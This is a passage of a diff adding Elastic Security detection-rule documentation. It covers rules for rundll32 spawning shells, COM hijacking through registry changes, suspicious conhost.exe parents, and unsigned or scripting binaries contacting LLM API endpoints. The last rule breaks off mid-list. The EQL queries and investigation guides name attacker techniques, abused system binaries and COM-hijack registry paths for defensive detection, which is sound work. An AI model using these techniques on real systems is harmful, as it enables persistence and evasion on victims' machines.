and related processes to detect similar activities in the future and improve response times. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("cmd.exe", "powershell.exe") and + process.parent.name : "rundll32.exe" and process.parent.command_line != null and + /* common FPs can be added here */ + not process.parent.args : ("C:\\Windows\\System32\\SHELL32.dll,RunAsNewUser_RunDLL", + "C:\\WINDOWS\\*.tmp,zzzzInvokeManagedCustomActionOutOfProc") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-component-object-model-hijacking.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-component-object-model-hijacking.asciidoc new file mode 100644 index 0000000000..397ee0b63b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-component-object-model-hijacking.asciidoc @@ -0,0 +1,260 @@ +[[prebuilt-rule-8-19-34-component-object-model-hijacking]] +=== Component Object Model Hijacking + +Identifies Component Object Model (COM) hijacking via registry modification. Adversaries may establish persistence by executing malicious content triggered by hijacked references to COM objects. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 122 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Component Object Model Hijacking* + + +Adversaries can insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means of persistence. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Retrieve the file referenced in the registry and determine if it is malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- Some Microsoft executables will reference the LocalServer32 registry key value for the location of external COM objects. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + /* not necessary but good for filtering privileged installations */ + user.domain != "NT AUTHORITY" and process.executable != null and + ( + ( + registry.path : "HK*\\InprocServer32\\" and + registry.data.strings: ("scrobj.dll", "?:\\*\\scrobj.dll") and + not registry.path : "*\\{06290BD*-48AA-11D2-8432-006008C3FBFC}\\*" + ) or + + ( + registry.path : "HKLM\\*\\InProcServer32\\*" and + registry.data.strings : ("*\\Users\\*", "*\\ProgramData\\*") + ) or + + /* in general COM Registry changes on Users Hive is less noisy and worth alerting */ + ( + registry.path : ( + "HKEY_USERS\\*\\InprocServer32\\", + "HKEY_USERS\\*\\LocalServer32\\", + "HKEY_USERS\\*\\DelegateExecute", + "HKEY_USERS\\*\\TreatAs\\", + "HKEY_USERS\\*\\ScriptletURL*", + "HKEY_USERS\\*\\TypeLib*\\Win*" + ) and + not registry.data.strings : ( + /* COM related to Windows Spotlight feature */ + "{4813071a-41ad-44a2-9835-886d2f63ca30}", + + /* AppX/MSIX DelegateExecute handlers: execute, protocol, file */ + "{A56A841F-E974-45C1-8001-7E3F8A085917}", + "{4ED3A719-CEA8-4BD9-910D-E252F997AFC2}", + "{BFEC0C93-0B7D-4F2C-B09C-AFFFC4BDAE78}" + ) + ) + ) and + + not ( + process.code_signature.trusted == true and + process.code_signature.subject_name in ( + "Island Technology Inc.", "Google LLC", "Grammarly, Inc.", "Dropbox, Inc", "REFINITIV US LLC", "HP Inc.", "Adobe Inc.", + "Citrix Systems, Inc.", "Veeam Software Group GmbH", "Zhuhai Kingsoft Office Software Co., Ltd.", "Oracle America, Inc.", + "Brave Software, Inc.", "DeepL SE", "Opera Norway AS", "Thomas Braun", "Slack Technologies, LLC", "Spotify AB", + "Vivaldi Technologies AS" + ) + ) and + + /* excludes trusted applications registering their own COM components */ + not ( + process.code_signature.trusted == true and + ( + ( + process.name : "OneDrive.Sync.Service.exe" and + process.code_signature.subject_name == "Microsoft Corporation" and + registry.data.strings : ( + "*\\Microsoft\\OneDrive\\*\\OneDrive.Sync.Service.exe*", + "*\\Microsoft\\OneDrive\\*\\OneDrive.Sync.Service.dll*" + ) + ) or + ( + process.executable : "?:\\Users\\*\\AppData\\Local\\Kingsoft\\WPS Office\\*\\office6\\ksomisc.exe" and + process.code_signature.subject_name == "WPS SOFTWARE PTE. LTD." and + registry.data.strings : "*\\Kingsoft\\WPS Office\\*" + ) or + ( + process.name : "claude.exe" and + process.code_signature.subject_name == "Anthropic, PBC" and + registry.data.strings : ( + "*\\Users\\*\\AppData\\Local\\AnthropicClaude\\app-*\\claude.exe*", + "*\\ProgramData\\*\\AnthropicClaude\\app-*\\claude.exe*" + ) + ) + ) + ) and + + /* excludes Microsoft signed noisy processes */ + not + ( + process.name : ( + "OneDrive.exe", "OneDriveSetup.exe", "FileSyncConfig.exe", "Teams.exe", "MicrosoftEdgeUpdate.exe", "msrdcw.exe", + "MicrosoftEdgeUpdateComRegisterShell64.exe", "setup.exe", "PowerToys.PowerLauncher.exe" + ) and + process.code_signature.trusted == true and process.code_signature.subject_name in ("Microsoft Windows", "Microsoft Corporation") + ) and + + not process.executable : ( + "?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\ProgramData\\4Team\\4Team-Updater\\4Team-Updater-Helper.exe", + "?:\\ProgramData\\Lenovo\\Udc\\Hosts\\x64\\MessagingPlugin.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe", + "?:\\Users\\*\\AppData\\Local\\Wondershare\\Wondershare NativePush\\WsToastNotification.exe", + "?:\\Windows\\System32\\DriverStore\\FileRepository\\*.exe", + "?:\\Windows\\System32\\FMToastNotification.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\SysWOW64\\regsvr32.exe", + "?:\\Windows\\System32\\regsvr32.exe", + "\\Device\\Mup\\*\\Kufer\\KuferSQL\\BasysSQL.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Component Object Model Hijacking +** ID: T1546.015 +** Reference URL: https://attack.mitre.org/techniques/T1546/015/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Component Object Model Hijacking +** ID: T1546.015 +** Reference URL: https://attack.mitre.org/techniques/T1546/015/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-conhost-spawned-by-suspicious-parent-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-conhost-spawned-by-suspicious-parent-process.asciidoc new file mode 100644 index 0000000000..d04eacc8e8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-conhost-spawned-by-suspicious-parent-process.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-conhost-spawned-by-suspicious-parent-process]] +=== Conhost Spawned By Suspicious Parent Process + +Detects when the Console Window Host (conhost.exe) process is spawned by a suspicious parent process, which could be indicative of code injection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/monitoring-windows-console-activity-part-one + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Conhost Spawned By Suspicious Parent Process* + + + +*Possible investigation steps* + + +- Is the alerting "conhost.exe" the native console host, and which parent requested the console? + - Why: Windows creates "conhost.exe" for console clients; service, COM, logon, or shell parents rarely need direct console allocation. + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: escalate if "conhost.exe" is renamed, outside the Windows directory, mismatched to its PE name, not Microsoft-signed, or if parent path and command line contradict its name; lower only when native child and parent identity fit one exact MSI, compatibility, or WebDAV helper action explaining direct parentage. + +- Does the parent identity, lineage, and session fit a legitimate console allocation path? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.parent.code_signature.subject_name`, `process.Ext.ancestry`, and `process.Ext.session_info.logon_type`. + - Implication: escalate when system/logon, COM/LOLBin, or shell/input parents run from unexpected paths, have unfamiliar signers, appear in unexpected ancestry, or allocate a console in a mismatched session; lower when signed parent command line and session fit one bounded MSI custom action, Program Compatibility Assistant, or WebDAV workflow. + +- Did the same parent launch a shell, script host, LOLBin, or payload around the alert? + - Focus: same-host child process events by `process.parent.entity_id`; if absent, use `host.id`, `process.parent.pid`, and a tight alert-time window, then read child `process.executable`, `process.command_line`, and signer. !{investigate{"description":"","label":"Process starts from the same suspicious parent","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.parent.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if clean but parent identity remains suspicious, check for pre-existing console or shell processes in the same `host.id` and session before closure. + - Implication: escalate when the parent starts shells, script hosts, downloaders, task/service tools, or unsigned payloads; lower only when "conhost.exe" is the lone unusual child and earlier evidence proves an exact bounded parent workflow, but do not close on this alone because attackers can reuse an existing console or shell. + +- If file or registry telemetry is available, did the same parent stage artifacts or change configuration? + - Focus: match parent `process.parent.entity_id` to actor `process.entity_id` on `host.id`; if absent, match parent/actor PID in a tight alert window, then read `file.path`. !{investigate{"description":"","label":"File events from the same suspicious parent","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.parent.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: use the same joins for `registry.path`. !{investigate{"description":"","label":"Registry events from the same suspicious parent","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.parent.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} Missing file or registry telemetry is unresolved, not benign. + - Implication: escalate when the parent writes executables or scripts, stages console clients, or changes persistence or security configuration; absent optional artifacts lower corroboration only and do not close. + +- If DNS or network telemetry is available, did the same parent contact staging, remote-control, or lateral destinations? + - Focus: match parent `process.parent.entity_id` to actor `process.entity_id` on `host.id`; if absent, match parent/actor PID in a tight alert window, then read DNS "lookup_result" events (`dns.question.name`, `dns.resolved_ip`) separately from connections (`destination.ip`). !{investigate{"description":"","label":"Network events from the same suspicious parent","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.parent.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: missing DNS or network telemetry is unresolved, not benign; correlate `dns.resolved_ip` to `destination.ip` before treating a domain as contacted. + - Implication: escalate when the parent reaches public or internal destinations unrelated to the workflow, WebDAV/SMB destinations, or unexpected internal systems; lower only when destinations fit the same MSI, Program Compatibility Assistant, or WebDAV workflow proven by process evidence. + +- If the parent path, child execution, artifacts, or destinations remain suspicious or unexplained, do related alerts change scope or urgency? + - Focus: recent `host.id` alerts, especially process injection, indirect execution, suspicious shell, credential, or C2 activity. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: review the same `user.id` only when the local evidence suggests the operator or session may have moved to other systems. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same host or user has related injection, shell, credential, or C2 alerts; keep the case local when isolated and earlier process evidence fits one exact recognized workflow. + +- Escalate for masqueraded parent, unexpected ancestry, unexplained console allocation, suspicious follow-on execution, staging, or remote-control corroboration; close only when native "conhost.exe" identity, parent identity/lineage, session, child processes, optional artifact or destination evidence, and related alerts align with one recognized installer, compatibility, or WebDAV workflow with no contradictions; if mixed or incomplete, preserve evidence and escalate. + + +*False positive analysis* + + +- Installer repair, MSI custom actions, Program Compatibility Assistant activity, and WebDAV helpers can allocate "conhost.exe" from signed parents. Confirm parent path/command/signer, `process.executable`, `user.id`, and `host.id` describe one exact workflow, same-parent children show no shells, script hosts, LOLBins, or payloads, and optional file, registry, DNS, or network telemetry does not contradict it. Use change records, inventories, or owner confirmation only after telemetry fits. +- Without organizational context, telemetry-only confirmation must prove the current event fits that workflow. Historical alerts corroborate only when the same parent path, signer, command line, child, user/host, and bounded child pattern recur without contradictions; do not close on recurrence while parentage or follow-on execution remains unexplained. +- Before an exception, validate the minimum stable pattern: parent executable, command line, signer, child executable, `user.id`, and `host.id`. Avoid exceptions on "conhost.exe", parent name, or broad signers alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment, document native child identity, parent path/signer/command, session, `user.id`, `host.id`, and corroboration, and create exceptions only for the recurring minimum pattern above. +- If suspicious but unconfirmed, preserve the alert export, parent/child timeline, entity IDs, command lines, artifact/destination indicators, and owner/change evidence before containment. Apply reversible controls first: temporary destination blocking or heightened `host.id` / `user.id` monitoring; disable a task, service, or startup item only after identifying it as malicious. Escalate to isolation or account action only when follow-on execution, persistence, remote control, or credential abuse is confirmed and the asset can tolerate interruption. +- If confirmed malicious, isolate the host when unauthorized parent execution, payload launch, persistence, or remote control is confirmed, after weighing host role. Record parent/payload process IDs and command lines before suspending or terminating processes, then block confirmed malicious destinations, hashes, or domains. +- Eradicate only malicious parent/payload artifacts and configuration changes. Review other hosts/users for the same parent path, command line, child executable, artifact, or destination before deleting payloads, removing persistence, restoring settings, or closing the execution vector. +- Post-incident hardening: tighten the exposed MSI, Program Compatibility Assistant, or WebDAV workflow, and record variants such as existing-console reuse, injected "explorer.exe", or service-host console abuse. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "conhost.exe" and + process.parent.name : ("lsass.exe", "services.exe", "smss.exe", "winlogon.exe", "explorer.exe", "dllhost.exe", "rundll32.exe", + "regsvr32.exe", "userinit.exe", "wininit.exe", "spoolsv.exe", "ctfmon.exe") and + not (process.parent.name : "rundll32.exe" and + process.parent.args : ("?:\\Windows\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc", + "?:\\WINDOWS\\system32\\PcaSvc.dll,PcaPatchSdbTask", + "?:\\WINDOWS\\system32\\davclnt.dll,DavSetCookie")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-common-large-language-model-endpoints.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-common-large-language-model-endpoints.asciidoc new file mode 100644 index 0000000000..36d133ae51 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-connection-to-common-large-language-model-endpoints.asciidoc @@ -0,0 +1,293 @@ +[[prebuilt-rule-8-19-34-connection-to-common-large-language-model-endpoints]] +=== Connection to Common Large Language Model Endpoints + +Identifies DNS queries to known Large Language Model domains by unsigned binaries or common Windows scripting utilities. Malwares may leverage the capabilities of LLM to perform actions in the affected system in a dynamic way. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://malpedia.caad.fkie.fraunhofer.de/details/py.lamehug + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Sysmon +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: macOS +* Domain: GenAI + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Connection to Common Large Language Model Endpoints* + + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes or malicious scripts. +- Verify if the executed process is persistent on the host like common mechanisms Startup folder, task or Run key. +- Review any unusual network, files or registry events by the same process. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Extract this communication's indicators of compromise (IoCs) and use traffic logs to search for other potentially compromised hosts. + + +*False positive analysis* + + +- Trusted applications from an expected process running in the environment. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Immediately block the identified indicators of compromise (IoCs). +- Implement any temporary network rules, procedures, and segmentation required to contain the attack. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Update firewall rules to be more restrictive. +- Reimage the host operating system or restore the compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type in ("macos", "windows") and dns.question.name != null and +( + process.name : ("MSBuild.exe", "mshta.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "msiexec.exe", "rundll32.exe", + "bitsadmin.exe", "InstallUtil.exe", "RegAsm.exe", "vbc.exe", "RegSvcs.exe", "regsvr32.exe", "dllhost.exe", + "node.exe", "javaw.exe", "java.exe", "*.pif", "*.com", "python*", "osascript", "Script Editor", "curl", "curl.exe", "deno", + "deno.exe", "node", "bun", "bun.exe") or + + ?process.code_signature.subject_name : ("AutoIt Consulting Ltd", "OpenJS Foundation", "Python Software Foundation") or + + ( + process.executable : ("?:\\Users\\*.exe", "?:\\ProgramData\\*.exe", "/Users/Shared/*", "/Library/WebServer/*", + "/Users/*/Library/WebServer/*", "/Library/Graphics/*", "/Users/*/Library/Graphics/*", "/Library/Fonts/*", + "/Users/*/Library/Fonts/*", "/private/var/root/Library/HTTPStorages/*", "/tmp/*", "/var/tmp/*", "/private/tmp/*") and + (?process.code_signature.trusted == false or ?process.code_signature.exists == false) + ) + ) and + dns.question.name : ( + // Major LLM APIs + "api.openai.com", + "*.openai.azure.com", + "api.anthropic.com", + "api.mistral.ai", + "api.cohere.ai", + "api.ai21.com", + "api.groq.com", + "api.perplexity.ai", + "api.x.ai", + "api.deepseek.com", + "api.gemini.google.com", + "generativelanguage.googleapis.com", + "api.azure.com", + "api.bedrock.aws", + "bedrock-runtime.*.amazonaws.com", + + // Hugging Face & other ML infra + "api-inference.huggingface.co", + "inference-endpoint.huggingface.cloud", + "router.huggingface.co", + "*.hf.space", + "*.replicate.com", + "api.replicate.com", + "api.runpod.ai", + "*.runpod.io", + "api.modal.com", + "*.forefront.ai", + + "api.arcee.ai", + "api.sambanova.ai", + "chatapi.akash.network", + "api.reka.ai", + "api.cerebras.ai", + "api.morphllm.com", + "openrouter.ai", + "api.moonshot.cn", + "api.moonshot.ai", + "api.z.ai", + "api.inference.wandb.ai", + "trace.wandb.ai", + "api.bfl.ai", + "api.eu.bfl.ai", + "api.us.bfl.ai", + "api.ionstream.ai", + "api.minimax.io", + "api.minimaxi.com", + "api.stepfun.ai", + "api.stepfun.com", + "api.featherless.ai", + "api.intelligence.io.solutions", + "api.fireworks.ai", + "inference.baseten.co", + "api.baseten.co", + "api.gmi-serving.com", + "api.ncompass.tech", + "api.nextbit256.com", + "api.hyperbolic.xyz", + "neuro.mancer.tech", + "managed-inference-api-proxy.crusoecloud.com", + "api.crusoe.ai", + "api.avian.io", + "api.siliconflow.cn", + "api.totalgpt.ai", + "switchpoint.dev", + "api.novita.ai", + "api.inflection.ai", + "api.wavespeed.ai", + "api.cloud.mara.com", + "api.inference.net", + "api.deepinfra.com", + "api.xiaomimimo.com", + "dashscope.aliyuncs.com", + "dashscope-intl.aliyuncs.com", + "dashscope-us.aliyuncs.com", + "integrate.api.nvidia.com", + "api.inceptionlabs.ai", + "api.friendli.ai", + "external.api.recraft.ai", + "api.cloudflare.com", + "gateway.ai.cloudflare.com", + "api.studio.nebius.ai", + "api.tokenfactory.nebius.com", + "api.aionlabs.ai", + "api.relace.run", + "instantapply.endpoint.relace.run", + "ranker.endpoint.relace.run", + "embeddings.endpoint.relace.run", + "console-api.inference.ai", + "api.parasail.io", + "api.redpill.ai", + "api.modular.com", + "ark.cn-beijing.volces.com", + "ark.ap-southeast.bytepluses.com", + "ai2endpoints.cirrascale.ai", + "aisuite.cirrascale.com", + "api.clarifai.com", + "api.venice.ai", + "api.atlascloud.ai", + "wanqing.streamlakeapi.com", + "api.ambient.xyz", + "api.upstage.ai", + "api.together.xyz", + "api.inceptron.io", + "chutes.ai", + "aiplatform.googleapis.com", + "portal.nousresearch.com", + "inference-api.nousresearch.com", + "api.githubcopilot.com", + "ai-gateway.vercel.sh", + "opencode.ai", + "api.kilo.ai", + "qianfan.baidubce.com", + "hunyuan.tencentcloudapi.com", + "open.bigmodel.cn", + "spark-api-open.xf-yun.com", + "api.sensenova.cn", + "api.baichuan-ai.com", + 